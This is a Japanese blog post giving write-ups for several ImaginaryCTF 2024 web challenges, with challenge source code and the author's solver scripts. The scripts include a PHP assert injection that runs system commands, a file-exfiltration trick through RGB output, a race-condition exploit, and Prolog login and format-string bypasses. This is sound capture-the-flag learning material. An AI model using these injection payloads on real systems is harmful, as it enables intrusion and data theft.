🦄

Imaginary CTF 2024 writeup

2024/07/22に公開

毎度のこと、脆弱エンジニアでImaginary CTF 2024に参加しまして、自分が参加したなかでは最高の順位の31位を獲得しました。amamaさんがめっちゃ強かったのと、みんなそれぞれ活躍してくれたおかげです。

僕は個人的にはそこそこだったかな、というところです。最近勉強していて知っていることは増えたけど、うまくそれを活用しきれていない感覚です。答え聞いたら「そうじゃん」ってなってしまう問題を減らしていくのが今の課題ですね。多分もっと問題解くのがいいのかもしれないです。(これ以上問題解く量増やせるかと言われると結構限界な気が...)

解けなかった問題のwriteupはこちら

✅journal (100pts クリア率36%)

問題
index.php
if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;
  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

一見Directory Traversalに見えて、ちゃんとWAFがあるのでできない。(もしかしたら回避方法あるかも?)よく見ると、

assert("strpos('$file', '..') === false") or die("Invalid file!");

ここに好きな文字を入れられるので、またまたチートシートを利用して

solver.py
import requests
import re 

URL = "http://journal.chal.imaginaryctf.org/"
# URL = "http://localhost/"

r = requests.get(URL + "",params={"file": "','') or die(system(\"ls /\")) or strpos('"})
filename = re.findall(r"flag-.+\.txt", r.text)[0]
r = requests.get(URL + "",params={"file": f"','') or die(highlight_file('/{filename}')) or strpos('"})
print(r.text)

✅P2C (100pts クリア率17%)

問題
app.py
from flask import Flask, request, render_template
import subprocess
from random import randint
from hashlib import md5
import os
import re
import logging

app = Flask(__name__)

def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        app.logger.info(e)
        output = None

    os.remove(file)

    return output

@app.route('/', methods=["GET", "POST"])
def index():
    res = None
    if request.method == "POST":
        code = request.form["code"]
        res = xec(code)
        valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
        if res == None:
            return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
        if valid.match("".join(res.strip().split("\n")[-1])):
            return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
        return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
    return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80, debug=True)
parse.py
import sys

if "random" not in dir():
   import random

def rgb_parse(inp=""):
   inp = str(inp)
   randomizer = random.randint(100, 1000)
   total = 0
   for n in inp:
      n = ord(n)
      total += n+random.randint(1, 10)
   rgb = total*randomizer*random.randint(100, 1000)
   rgb = str(rgb%1000000000)
   r = int(rgb[0:3]) + 29
   g = int(rgb[3:6]) + random.randint(10, 100)
   b = int(rgb[6:9]) + 49
   r, g, b = r%256, g%256, b%256
   return r, g, b

pythonコードを送ると、

app.py
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

のように実行してからrgb_parseという関数で色を計算してくれる。フラグの場所は不明だが、RCEできればなんとでもなるだろうということでそこを目指す。

最初はReverse Shellをめざすが、

app.py
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)

timeoutが0.1に設定されているためここを回避しないと行けない。threadとかで回避できるかなと思考を巡らせていると、

app.py
        valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
# snip
        if valid.match("".join(res.strip().split("\n")[-1])):
            return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))

つまり、(R,G,B)形式の出力のうち、最後に出力されたものだけを色として採用し、HTMLに埋め込むので、出力をちょっと遅らせれば好きな色を埋め込むことができる。

これを利用して、3文字ずつ出力結果を得ることによって、フラグをゲットした。

solver.py
import requests
import re
import time

# URL = "http://localhost/"
URL = "http://p2c.chal.imaginaryctf.org/"

def generateCode(i):
    return f"""
import os
import threading
import time
import subprocess
val = subprocess.run(["ls", "/app"], text=True,capture_output=True).stdout
def print_message():
    print( "(" + ", ".join([str(ord(x)) for x in val[{3*i}:{3*i+3}]]) + ")" )
timer = threading.Timer(0.05, print_message)
timer.start()
"""
#     return f"""
# import os
# import threading
# import time
# val = open("/app/flag.txt", 'r').read()
# def print_message():
#     print( "(" + ", ".join([str(ord(x)) for x in val[{3*i}:{3*i+3}]]) + ")" )
# timer = threading.Timer(0.05, print_message)
# timer.start()
# """

i = 0
res = ""
while True:
    data = {
        "code": generateCode(i)
    }
    r = requests.post(URL, data=data)
    color = re.findall(r"changeBackgroundColor\(\"rgb\((\d+), (\d+), (\d+)\)\"\)", r.text)[0]
    str1 = "".join([chr(int(c)) for c in color])
    res += str1
    r = requests.post(URL, data=data)
    color = re.findall(r"changeBackgroundColor\(\"rgb\((\d+), (\d+), (\d+)\)\"\)", r.text)[0]
    str2 = "".join([chr(int(c)) for c in color])
    i += 1
    print(res)
    if str1 != str2:
        break
    time.sleep(0.1)

多分Reverse Shellも頑張れば行けたけど、せっかくだから想定解法っぽくできてよかった。

✅Crystal (100pts クリア率10%)

Sinatraというrubyのフレームワークを利用した問題。Hostnameを取得できればクリア。Sinatraのコードを読んでいると、500番台のエラーを吐くとサーバーの詳細から取得できることがわかった。

あまりに変なリクエストだとNginxに阻まれれてしまうが、いろいろ試行錯誤してみたらいけた。想定のSinatraのエラーではなく、SinatraのベースとなるWEBrickのエラーだったが、同様にエラーメッセージからHostnameが取得できた。

solver.py
import socket

HOST = "crystals.chal.imaginaryctf.org"

v = (
    "GET /< HTTP/1.1\r\n"
    f"Host: {HOST} \r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, 80))
    s.sendall(v.encode())
    r = s.recv(4096)
    r = r.decode()
    print(r)

socketを利用しているのは、request.get(URL + "/<")だと自動でエスケープしてしまうため。未定義動作を引き出すにはやっぱり生のHTTPデータに触りたい。

✅The Amazing Race (100pts クリア率6.9%)

迷路を解く問題に見せかけて、ゴールが必ず壁に囲われるようになっているので、壁を貫通する必要がある。

正直ちゃんとコードを読んでいないけど、多分race conditionだろうなぁと思ってコードを書いてみたらうまくいったのでちゃんと解説はできない。壁から1マス開けたところにいるときに、高速で二回壁に移動すると、壁の判定をすり抜けることができる。

race conditionははうまくいったり行かなかったりしたし、サーバーが重くてうまく動いていなかったりしてたので、基本は手で動かして、必要に応じてコードを動かした。

solver.py
import requests
import re
import threading
import time

def getMaze(res):
  maze = re.findall(r"<code>\n([^<]+)\n</code>", res.text)[0]
  return maze.split("\n")
  

def getPos(maze):
  y = next(filter(lambda i: "@" in maze[2:][i], range(len(maze))))
  x = maze[y+2].find("@")
  return x,y
  
current = (0,0)
lock = threading.Lock()
def move(id, m):
  global current
  r = requests.post(URL + "move", params={"id": id, "move":m})
  maze = getMaze(r)
  x, y = getPos(maze)
  with lock:
    current = (x, y)
    print(current)
  
URL = "http://the-amazing-race.chal.imaginaryctf.org//"
id = "36cf5187-54e2-4887-9240-619c99103623"

while current[0] <= 32: # 現在地によって書き換える
  threads = []
  thread = threading.Thread(target=move, args=(id, "right"))
  thread.start()
  threads.append(thread)
  thread = threading.Thread(target=move, args=(id, "right"))
  thread.start()
  threads.append(thread)
  thread = threading.Thread(target=move, args=(id, "right"))
  thread.start()
  threads.append(thread)
  for thread in threads:
    thread.join()
  time.sleep(0.5)
  thread = threading.Thread(target=move, args=(id, "left"))
  thread.start()

✅Pwning en Logique (384pts クリア率2.6%)

問題
server.pl
:- use_module(library(http/thread_httpd)).
:- use_module(library(http/http_dispatch)).
:- use_module(library(http/http_session)).
:- use_module(library(http/http_client)).
:- use_module(library(http/http_parameters)).
:- use_module(library(http/html_write)).

:- http_handler('/', index, []).
:- http_handler('/login', login, []).
:- http_handler('/greet', greet, []).
:- http_handler('/flag', flag, []).

server(Port) :-
    http_server(http_dispatch, [port(Port)]).

index(_Request) :-
    users(Users),
    member(admin=Password, Users),
    reply_html_page(
        title('Index | Pwning en Logique'),
        [
            form([action='/login'], [
                button([type=submit], 'Log in')
            ]),
            form([action='/greet'], [
                button([type=submit], 'Get greeted by the server')
            ]),
            form([action='/flag'], [
                button([type=submit], 'Get the flag')
            ])
        ]
    ).

login(Request) :-
    member(method(post), Request),
    http_read_data(Request, Data, []),
    ((
        member(username=Username, Data),
        member(password=Password, Data),
        users(Users),
        member(Username=Password, Users),
        http_session_retractall(_OldUsername),
        http_session_assert(username(Username)),
        http_redirect(see_other, '/greet', Request)
    ); reply_html_page(
        [title('Log in | Pwning en Logique')],
        [
            h2([], 'Invalid credentials'),
            form([action='/login', method='POST'], [
                label([for=userame], 'Username: '),
                input([type=text, name=username], []),
                label([for=password], 'Password: '),
                input([type=password, name=password], []),
                input([type=submit], [])
            ])
        ]
    )).

login(_Request) :-
    reply_html_page(
        [title('Log in | Pwning en Logique')],
        [
            form([action='/login', method='POST'], [
                label([for=userame], 'Username: '),
                input([type=text, name=username], []),
                label([for=password], 'Password: '),
                input([type=password, name=password], []),
                input([type=submit], [])
            ])
        ]
    ).

greet(Request) :-
    http_session_data(username(Username)),
    http_parameters(Request, [
        greeting(Greeting, [default('Hello')]),
        format(Format, [default('~w, ~w!')])
    ]),
    content_type,
    format(Format, [Greeting, Username]).

greet(Request) :-
    http_redirect(see_other, '/login', Request).

flag(_Request) :-
    content_type,
    (http_session_data(username(admin)), print_flag; print_access_denied).

content_type :- format('Content-Type: text/html~n~n').
print_flag :- format('jctf{red_flags_and_fake_flags_form_an_equivalence_class}').
print_access_denied :- format('<h1>Only the admin can access the flag!</h1>').

users([
    guest=guest,
    'AzureDiamond'=hunter2,
    admin=AdminPass
]) :- crypto_n_random_bytes(32, RB), hex_bytes(AdminPass, RB).

Prologで書かれたサーバーで、adminとしてログインできればクリア。http_read_dataの仕様があやしいかなと思いドキュメンテーションを読んでみると、

content_type(+Type)
Overrule the content-type that is part of Request as a work-around for wrongly configured servers.
Without plugins, this predicate handles
application/x-www-form-urlencoded
Converts form-data into a list of Name=Value terms.
application/x-prolog
Converts data into a Prolog term.

プログラム自体はapplication/x-www-form-urlencodedを想定しているようだが、application/x-prologも受け付けるので、これを利用できないかと試行錯誤してみたらできた。

solver.py
import requests

# URL = "https://pwning-en-logique-ac967ede7032613c.d.imaginaryctf.org/"
URL = "http://localhost:8000/"

s = requests.session()
data = """[username=admin, password=X].""" 

r = s.post(URL + "login", data=data, headers={
    "Content-type": "application/x-prolog"
})
print(r.status_code)
print(r.text)

r = s.get(URL + "flag")
print(r.text)
discordで見つけた別解
server.pl
greet(Request) :-
    http_session_data(username(Username)),
    http_parameters(Request, [
        greeting(Greeting, [default('Hello')]),
        format(Format, [default('~w, ~w!')])
    ]),
    content_type,
    format(Format, [Greeting, Username]).

http_parametersdefaultは、あくまでクエリパラメータのデフォルト値を設定しているだけなのでformatの引数を自由に書き換えられる。ここで、formatのドキュメンテーションを読んでみると、~@がその引数をゴールとして実行する、と書いてある。これを利用したのが以下の解法

solver2.py
import requests

# URL = "https://pwning-en-logique-ac967ede7032613c.d.imaginaryctf.org/"
URL = "http://localhost:8000/"

s = requests.session()

r = s.post(URL + "login", data={
    "username": "guest",
    "password": "guest"
})
r = s.get(URL + "greet", params={
    "greeting": "print_flag",
    "format": "~@, ~w"
})
print(r.status_code)
print(r.text)

解きたかった問題

そのうち別記事にまとめます

Readme 2

3大会連続のBunの問題。脆弱性自体は見つけていたけどSSRFがシンプル下手でした。同じミス前もした気がします

Notactf

Cryptoとの複合問題だと思う。Padding Oracle Attackというものを実行するのかと思いきやOracleが動かない事件発生しました。方針が間違っていたのか、Oracleを見出す方法があるのか。一番時間使っただけに結構悔しいです。

Heapnote

XS-leaksのOracle自体は知っていたけど、そもそもNote IDを取得する方法が???でした。まだ理解できてないです

Forms

2日前とかにブックマーク記事が元となっていたのに、まだちゃんと読んでいなかったという。読んでいたら解けていたかどうかは怪しいけど、手法自体は簡単だったのでちゃんと勉強し直します。

まとめ


Pwn(以下略)

Discussion